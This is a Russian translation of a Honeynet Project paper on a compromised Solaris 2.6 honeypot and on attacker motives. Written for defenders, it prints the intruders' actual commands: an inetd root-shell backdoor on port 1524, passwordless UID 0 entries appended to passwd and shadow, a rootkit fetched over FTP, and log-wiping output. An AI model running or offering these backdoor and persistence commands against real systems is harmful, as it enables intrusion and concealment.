Узнай своего врага:

Мотивы и психология черных шляп

© Проект Honeynet
http://project.honeynet.org
Последние изменения: 27 июня 2000
© Мяснянкин В.В., перевод на русский язык
16 августа 2001

Этот документ продолжает серию "Узнай своего врага" , посвященную изучению инструментальных средств и тактики, используемых сообществом черных шляп. В отличие от остальных документов серии, посвященных вопросам "что" и "как" делает сообщество черных шляп, заостряя внимание на использовании и реализации технических средств, данный документ исследует мотивы и психологию сообщества черных шляп, используя их собственные высказывания. Часть I начинается с описания компрометации системы под управлением Solaris 2.6. Часть II представляет информацию редко публикуемую, а именно, записи переговоров и действий черных шляп, которые имели место в течение четырнадцати дней, когда honeypot был скомпрометирован. Рассмотрим, как и почему черные шляпы атакуют системы. После получения контроля над Solaris 2.6, черные шляпы установили на эту систему IRC-бот. Этот bot, сконфигурированный и реализованный черными шляпами, фиксировал все их переговоры на IRC-канале. Мы контролировали эти переговоры в течение двух недель, все они приведены ниже. Этот документ не пытается дать обобщенную характеристику всего сообщества черных шляп; Наоборот, он описывает лишь конкретный инцидент с участием нескольких человек. Однако, это должно дать Вам представление о модели поведения и образе мыслей некоторых представителей черных шляп. Эта угроза носит глобальный характер, с ней сталкиваются все специалисты в области безопасности. Мы надеемся, что приведенная здесь информация окажется им полезной.

Эта информация была получена с помощью honeynet. Honeynet - сеть, построенная на базе нескольких honeypots - систем, специально спроектированных, чтобы быть скомпрометированными черными шляпами. В то время как некоторые honeypot используются, чтобы отвлечь внимание атакующего от основных систем, предназначение honeynet состоит в том, чтобы с ее помощью изучить средства и тактику сообщества черных шляп. Большая часть информации, представленная в данном документе, была подвергнута цензуре. В частности, имена и пароли пользователей, номера кредитных карт и большинство названий систем были изменены. Однако, примененные технические средства и чат-сессии оставлены без изменений. Вся эта информация до публикации была предоставлена CERT и ФБР. Также, администраторам систем, которые, возможно, были скомпрометированы, было разослано более 370 уведомлений.

Предисловие

(Brad Powell)

Я никогда не был ярым сторонником Honey Pots. Почему? Для начала, они достаточно громоздки, требуют слишком много времени и энергии для мониторинга. Обнаруживаемые при их помощи нарушители, как правила, относятся к категории "Script Kiddies", и получаемая информация обычно и так широко известна. Изредка при помощи Honey Pots обнаруживаются новые, заслуживающие внимания, сценарии атак. Одним из таких случаев и является рассматриваемый пример.

Мое мнение о Honey Pots и ценности получаемой с их помощью информации изменилось после того, как Honey Pots стали объединяться в сети.

Сначала я должен сделать отступление и объяснить, что мы имеем в виду, говоря о Honey Pots. Впервые я столкнулся с Honey Pot в двух очень интересных работах: "Cookoo's Egg" Клиффа Столла (Cliff Stoll) и "An Evening with Berferd" Стива Белловина и Билла Чесвика (Steve Bellovin и Bill Cheswick). В обоих случаях для регистрации и анализа действий злоумышленника использовалась "тюремная" (jail) технология. Термин "Honey Pot" стал использоваться позже, но в том же смысле. Суть заключалась в установке привлекательных для злоумышленника систем, снабженных, однако, функциями мониторинга. Благодаря этому, Вы могли подробно отследить каким образом злоумышленник проникает в систему и для чего он это делает.

Honey Pot Лэнса Спицнера (Lance Spitzner), создавался как средство практического изучения "противника", в данном случае - сетевого злоумышленника, целью которого было на основе изучения его поведения выработать адекватный комплекс мер защиты от такого рода угроз. Безопасность невозможно купить. Безопасность - это не продукт (именно это Вам пытаются доказать продавцы, но это не так). Безопасность - это нечто, чем Вы -живете-. Я часто сравниваю это с боевыми единоборствами. Если Вы в своем мастерстве достигли черного пояса, это не означает, что можно прекратить тренировки; напротив, в процессе обучения Вы понимаете, что он требует дисциплины, внимания, определенной философии и готовности не останавливаться на достигнутом, а совершенствоваться постоянно. Аналогично, и факт приобретения средства защиты не является гарантией безопасности.

Путь должен быть продолжен.

Однако, прервем наше лирическое отступление и вернемся к honey pots и неожиданным поворотам, к которым они могут привести.

Главное, что было обнаружено Лэнсом и командой проекта Honeynet, это существование скоординированных атак. Воровство номеров кредитных карточек не является конечной целью, это лишь средство ее достижения. Кредитные карточки - лишь средство добывания денег, способ финансирования за чужой счет своих истинных целей. А они могут быть самыми разными. Наиболее тревожным моментом является тот факт, что в настоящее время кредитные карточки могут быть использованы для регистрации доменных имен и финансирования преступной деятельности. Информация, полученная при помощи honey pot, указывает на факты скоординированного (не побоюсь этого слова) шпионажа иностранных группировок.

Угроза реальна. Это - только единичный случай, но на текущий момент более 130 сайтов Интернет уведомлены об их компрометации. Эти сайты находятся в различных точках земного шара, по всему миру. Только теперь становиться очевидным недостаточное использование технологии honey pot. Один honey pot фиксирует достаточно большое количество противоправных действий. Теперь представим, что случилось бы, если бы таких систем было 50 или даже 500? Могли бы нарушители определить, является ли система, использованная ими как стартовая площадка для дальнейших атак просто плохо защищенной или это ловушка (honey pot)?

Я склонен думать, что ситуация напоминает "низко висящий фрукт", сорванный script kiddies. К сожалению Internet сегодня напоминает виноградник с вольготно расположившимися там и тут нарушителями, собирающими виноградные грозди в свое удовольствие. Этот банкет, по-видимому, никогда не закончится. Это необходимо остановить! Я хотел бы, чтобы все мы двигались в сторону превращения Internet в настоящее общество электронной коммерции. Считайте это единичным эпизодом сражения, которое бушует в настоящее время в киберпространстве, и подумайте о том, как стать частью решения этой проблемы, а не одной из многочисленных жертв.

Брэд Поуэлл (Brad Powell), Sun Microsystems, GESS Global Security Team.

Часть I: Компрометация

Для построения одного из наших honeypot была использована система Solaris 2.6 с конфигурацией по умолчанию. Она не была подвергнута никаким модификациям, на нее не накладывались какие-либо заплатки (patches). Обсуждаемые здесь уязвимости присутствуют в любой инсталляции Solaris 2.6. с настройками по умолчанию. Собственно, в этом и состоит основная цель honeynet: идентифицировать уязвимости в широко используемых системах и изучить пути их компрометации. В процессе компрометации мы можем изучать средства и тактику сообщества черных шляп. Таким образом, honeynet - среда, специально созданная для отслеживания деятельности черных шляп.

4 июня 2000 года наш honeypot под управлением Solaris 2.6 был скомпрометирован с использованием переполнения буфера сервиса rpc.ttdbserv - объектной базы данных ToolTalk (CVE-1999-0003). Заметьте, что данный эксплоит занимает третью позицию в списке десяти наиболее часто используемых, составленном институтом SANS. Эта атака была обнаружена и зафиксирована при помощи системы обнаружения атак SNORT.

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

Эксплоит rpc.ttdbserv - атака на переполнение буфера, которая позволяет удаленному пользователю выполнять команды в системе с правами суперпользователя. Черная шляпа оставила для себя потайной ход путем выполнения приведенных ниже команд. В файл '/tmp/bob' была добавлена служба ingreslock (она предварительно определена в файле /etc/services на порт 1524), затем супердемон inetd запущен с '/tmp/bob' в качестве конфигурационного файла. В результате на порту 1524 стала "слушать" оболочка /bin/sh, выполняющаяся с привилегиями суперпользователя.

/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

Как только черная шляпа создала эту лазейку, она соединилась с портом 1524, получила доступ к оболочке с правами суперпользователя и выполнила приведенные ниже команды. Она завела двух новых пользователей, получив возможность войти в систему по протоколу telnet обычным образом. Обратите внимание на сообщения об ошибках и управляющие символы, т.к. оболочка, работающая на порту 1524, не имеет надлежащим образом установленных переменных среды.

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides     console      May 24 21:09
^M: not found
# exit;

Теперь наша черная шляпа имеет два пользовательских бюджета в нашей скомпрометированной системе. Она может теперь войти по протоколу telnet как пользователь "re", затем переключиться (su) на пользователя "r" с UID 0, получая, таким образом, доступ с правами суперпользователя. Рассмотрим теперь действия, которые предприняла черная шляпа.

 !"' !"P#$#$'LINUX'

SunOS 5.6

login: re

Choose a new password.

New password: abcdef

Re-enter new password: abcdef

telnet (SYSTEM): passwd successfully changed for re

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

$ su r

Наша черная шляпа теперь имеет нормальный доступ с правами суперпользователя. Как обычно, следующий шаг - загрузка rootkit и установка полного контроля над системой. Сначала мы видим, что черная шляпа создает "скрытый" каталог, чтобы скрыть rootkit.

# mkdir /dev/".. "

# cd /dev/".. "

После создания каталога, черная шляпа загружает rootkit из другой системы.

# ftp shell.example.net

Connected to shell.example.net.

220 shell.example.net FTP server (Version 6.00) ready.

Name (shell.example.net:re): j4n3

331 Password required for j4n3.

Password:abcdef

230 User j4n3 logged in.

ftp> get sun2.tar

200 PORT command successful.

150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).

226 Transfer complete.

local: sun2.tar remote: sun2.tar

1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)

ftp> get l0gin

200 PORT command successful.

150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).

226 Transfer complete.

226 Transfer complete.

local: l0gin remote: l0gin

47378 bytes received in 7.7 seconds (6.04 Kbytes/s)

ftp> quit

U221 Goodbye.

После того, как rootkit успешно загружен, он распаковывается и устанавливается. Обратите внимание, что полная установка rootkit осуществляется при помощи одного единственного скрипта, setup.sh. Этот скрипт также вызывает другой - secure.sh. Вы можете загрузить для изучения Solaris rootkit, использованный в описанной атаке отсюда.

# tar -xvf sun2.tar

x sun2, 0 bytes, 0 tape blocks

x sun2/me, 859600 bytes, 1679 tape blocks

x sun2/ls, 41708 bytes, 82 tape blocks

x sun2/netstat, 6784 bytes, 14 tape blocks

x sun2/tcpd, 19248 bytes, 38 tape blocks

x sun2/setup.sh, 1962 bytes, 4 tape blocks

x sun2/ps, 35708 bytes, 70 tape blocks

x sun2/packet, 0 bytes, 0 tape blocks

x sun2/packet/sunst, 9760 bytes, 20 tape blocks

x sun2/packet/bc, 9782 bytes, 20 tape blocks

x sun2/packet/sm, 32664 bytes, 64 tape blocks

x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks

x sun2/packet/syn, 10488 bytes, 21 tape blocks

x sun2/packet/s1, 12708 bytes, 25 tape blocks

x sun2/packet/sls, 19996 bytes, 40 tape blocks

x sun2/packet/smaq, 10208 bytes, 20 tape blocks

x sun2/packet/udp.s, 10720 bytes, 21 tape blocks

x sun2/packet/bfile, 2875 bytes, 6 tape blocks

x sun2/packet/bfile2, 3036 bytes, 6 tape blocks

x sun2/packet/bfile3, 20118 bytes, 40 tape blocks

x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks

x sun2/sys222, 34572 bytes, 68 tape blocks

x sun2/m, 9288 bytes, 19 tape blocks

x sun2/l0gin, 47165 bytes, 93 tape blocks

x sun2/sec, 1139 bytes, 3 tape blocks

x sun2/pico, 222608 bytes, 435 tape blocks

x sun2/sl4, 28008 bytes, 55 tape blocks

x sun2/fix, 10360 bytes, 21 tape blocks

x sun2/bot2, 508 bytes, 1 tape blocks

x sun2/sys222.conf, 42 bytes, 1 tape blocks

x sun2/le, 21184 bytes, 42 tape blocks

x sun2/find, 6792 bytes, 14 tape blocks

x sun2/bd2, 9608 bytes, 19 tape blocks

x sun2/snif, 16412 bytes, 33 tape blocks

x sun2/secure.sh, 1555 bytes, 4 tape blocks

x sun2/log, 47165 bytes, 93 tape blocks

x sun2/check, 46444 bytes, 91 tape blocks

x sun2/zap3, 13496 bytes, 27 tape blocks

x sun2/idrun, 188 bytes, 1 tape blocks

x sun2/idsol, 15180 bytes, 30 tape blocks

x sun2/sniff-10mb, 16488 bytes, 33 tape blocks

x sun2/sniff-100mb, 16496 bytes, 33 tape blocks

# rm sun2.tar

# mv l0gin sun2

#cd sun2

#./setup.sh

hax0r w1th K1dd13

Ok This thing is complete :-)

Здесь установочный скрипт rootkit удаляет из системных журналов информацию, связанную с действиями черной шляпы.

- WTMP:

/var/adm/wtmp is Sun Jun  4 11:47:39 2000

/usr/adm/wtmp is Sun Jun  4 11:47:39 2000

/etc/wtmp is Sun Jun  4 11:47:39 2000

/var/log/wtmp cannot open

WTMP = /var/adm/wtmp

Removing user re at pos: 1440

Done!

- UTMP:

/var/adm/utmp is Sun Jun  4 11:47:39 2000

/usr/adm/utmp is Sun Jun  4 11:47:39 2000

/etc/utmp is Sun Jun  4 11:47:39 2000

/var/log/utmp cannot open

/var/run/utmp cannot open

UTMP = /var/adm/utmp

Removing user re at pos: 288

Done!

- LASTLOG:

/var/adm/lastlog is Sun Jun  4 11:47:39 2000

/usr/adm/lastlog is Sun Jun  4 11:47:39 2000

/etc/lastlog cannot open

/var/log/lastlog cannot open

LASTLOG = /var/adm/lastlog

User re has no wtmp record. Zeroing lastlog..

- WTMPX:

/var/adm/wtmpx is Sun Jun  4 11:47:39 2000

/usr/adm/wtmpx is Sun Jun  4 11:47:39 2000

/etc/wtmpx is Sun Jun  4 11:47:39 2000

/var/log/wtmpx cannot open

WTMPX = /var/adm/wtmpx

Done!

- UTMPX:

/var/adm/utmpx is Sun Jun  4 11:47:39 2000

/usr/adm/utmpx is Sun Jun  4 11:47:39 2000

/etc/utmpx is Sun Jun  4 11:47:39 2000

/var/log/utmpx cannot open

/var/run/utmpx cannot open

UTMPX = /var/adm/utmpx

Done!

./setup.sh: ./zap: not found

После чистки журналов, следующий шаг - защитить систему (как мило с их стороны!). Черная шляпа знает, что систему легко взломать и не хочет, чтобы кто-то другой разрушил ее труд.

./secure.sh: rpc.ttdb=: not found

#: securing.

#: 1) changing modes on local files.

#: will add more local security later.

#: 2) remote crap like rpc.status , nlockmgr etc..

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

#: 3) killed statd , rpcbind , nlockmgr

#: 4) removing them so they ever start again!

5) secured.

   207 ?        0:00 inetd

 11467 ?        0:00 inetd

cp: cannot access /dev/.. /sun/bot2

kill these processes@!#!@#!

cp: cannot access lpq

./setup.sh: /dev/ttyt/idrun: cannot execute

Затем был запущен IRC proxy. Я затрудняюсь сказать, почему скрипт чуть позже "убивает" этот процесс.

Irc Proxy v2.6.4 GNU project (C) 1998-99

Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet

--Using conf file ./sys222.conf

--Configuration:

    Daemon port......:9879

    Maxusers.........:0

    Default conn port:6667

    Pid File.........:./pid.sys222

    Vhost Default....:-SYSTEM DEFAULT-

    Process Id.......:11599

Exit ./sys222{7} :Successfully went into the background.

Кроме указанных, были сделаны и другие модификации файлов. Здесь не показано копирование многих "троянизированных" программ, включая /bin/login, /bin/ls, /usr/sbin/netstat, и /bin/ps. Я настойчиво рекомендую изучить содержимое скриптов setup.sh и secure.sh, чтобы увидеть, что конкретно они делают. Возможно, однажды Вам придется исследовать систему, скомпрометированную аналогичным образом.

# kill -9 11467

# ps -u root |grep |grep inetd inetd

   207 ?        0:00 inetd

# ..U/secure.sh/secure.sh

./secure.sh: rpc.ttdb=: not found

#: securing.

#: 1) changing modes on local files.

#: will add more local security later.

#: 2) remote crap like rpc.status , nlockmgr etc..

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

./secure.sh: usage: kill [ [ -sig ] id ... | -l ]

#: 3) killed statd , rpcbind , nlockmgr

#: 4) removing them so they ever start again!

5) secured.

# ppUs -u s -u U||U grep  grep ttUtdbtdb

Ups: option requires an argument -- u

usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]

        [ -u userlist ] [ -U userlist ] [ -G grouplist ]

        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]

  'format' is one or more of:

        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid

        pri opri pcpu pmem vsz rss osz nice class time etime stime

        f s c tty addr wchan fname comm args

# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

Наконец, наша черная шляпа запускает IRC-бот. Цель его установки - поддержка статуса оператора на выбранном канале. Этот бот также протоколировал все их переговоры на IRC-канале. Именно этот бот, который они установили на нашей скомпрометированной системе, ретранслировал их chat-сессии в нашу сеть.

# ../me -f bot2

init: Using config file: bot2

EnergyMech 2.7.1, December 2nd, 1999

Starglider Class EnergyMech

Compiled on Jan 27 2000 07:06:04

Features: DYN, NEW, SEF

init: Unknown configuration item: "NOSEEN" (ignored)

init: Mechs added [save2 ]

init: Warning: save2 has no userlist, running in setup mode

init: EnergyMech running...

# exit;

$ exit

После загрузки бота, который фиксировал все их дальнейшие переговоры (см. ниже, ЧастьII), они оставили систему. Для получения дополнительной информации об IRC и его использовании черными шляпами рекомендуем изучить документ Tracking Hackers on IRC, написанный David Brumley. В течение следующей недели они несколько раз возвращались в систему, чтобы убедиться, что контроль над ней сохранился. Неделю спустя, 11 июня, они вошли снова и попытались использовать систему для осуществления атаки на отказ в обслуживании (DoS). Однако, honeynet спроектирован так, чтобы исключить использование honeypot в качестве базы для атак на другие системы. Все эти попытки были автоматически блокированы.

Итак, мы зафиксировали широко используемые сообществом черных шляп инструментальные средства и тактику. Наша черная шляпа случайным образом сканировала Internet в поисках известной уязвимости (в данном случае rpc.ttdbserv). После нахождения уязвимой системы, она была немедленно скомпрометирована и на нее установлен rootkit с использованием заранее подготовленного скрипта. После установления контроля над системой нарушители запустили на ней IRC-бот, вероятнее всего, чтобы поддерживать статус оператора на выбранном IRC-канале. Необычным было то, что данный бот записывал все их переговоры в течение 2 недель. В следующей части данного документа мы изучим психологию и мотивы сообщества черных шляп "от первого лица". Если у Вас есть основания полагать, что Ваша система была скомпрометирована аналогичным образом, изучите этот перечень. В нем указано, что именно необходимо проверить и как реагировать на компрометацию системы.

Часть вторая: чат-сессии на IRC

Ниже приведены реальные переговоры черных шляп, а именно двух представителей этого сообщества - D1ck и J4n3. Большинство этих бесед происходило на канале IRC, который мы назовем K1dd13. Вы сможете изучить деятельность этих двух персонажей, а также некоторых других. Разбитые по дням переговоры приведены ниже. Мы рекомендуем читать их последовательно, чтобы лучше понять происходящие события. Названия каналов IRC, псевдонимов IRC, имен систем и IP-адреса были изменены. Все IP-адреса были заменены на адресное пространство в соответствии с RFC 1918, доменные имена - на "example", номера кредитных карточек - на "xxxx". Любые совпадения названий IRC-каналов и псевдонимов с реальными - случайны. Имейте в виду, что используемые выражения не всегда приемлемы и могут быть оскорбительны, однако мы решили оставить их в первозданном виде. Иногда, некоторые из черных шляп ведут беседы на иностранных языках. Где это возможно, мы сделали перевод на английский язык. При чтении принимайте во внимание недостаточный уровень знания говорящими сетевых технологий. Часто Вы будете наблюдать их попытки показать свой высокий уровень знания Unix. И все-таки, они способны скомпрометировать и повредить систему. Эта угроза - не призрачна.

Мы только что пронаблюдали 14 дней в жизни сообщества черных шляп. Однако, это не подразумевает, что все черные шляпы думают и действуют именно так. Фактически, мы изучили только несколько конкретных представителей. Однако, мы надеемся, что этот материал даст Вам представление о том, что из себя представляют многие члены этого сообщества. Они могут быть технически безграмотными и даже не понимать, как работают используемые ими средства. Однако, за счет количественных показателей (большое число опробованных систем) они достигают поистине драматических результатов. Это не та угроза, от которой можно легко отмахнуться. Они не думают о возможных негативных последствиях своих действий, их интересует только достижение собственных целей.

Заключение

Цель написания данного документа состоит в том, чтобы дать Вам возможность понять мотивы и психологию сообщества черных шляп. Документ начинается с компрометации системы-honeypot под управлением Solaris 2.6. Продемонстрировано использование широко распространенного удаленного эксплоита для нападения на уязвимую систему. После компрометации система быстро была взята под контроль при помощи rootkit - еще одного широко распространенного среди черных шляп инструмента. Однако, что делает эту бумагу уникальной - попытка проникнуть в менталитет черных шляп. При помощи их собственных выражений здесь описано как они думают и действуют, в особенности - как беспорядочно нападают на системы и повреждают их. Они случайным образом сканируют большое количество систем, выявляют слабо защищенные и нападают на них. Поняв их мотивы и методы, Вы сможете лучше защитить Ваши системы от этой угрозы.

Благодарности

Этот документ - результат исследовательской работы Проекта Honeynet. Проект Honeynet - небольшая группа профессионалов в области защиты, специализирующихся на изучении средств и тактики сообщества черных шляп и делящихся приобретенным опытом с другими специалистами в области защиты информации.

Мы хотели бы поблагодарить Алана Паллера из института SANS. Хотя он и не является членом Проекта Honeynet, благодаря его помощи это исследование стало реальным.



Honeynet project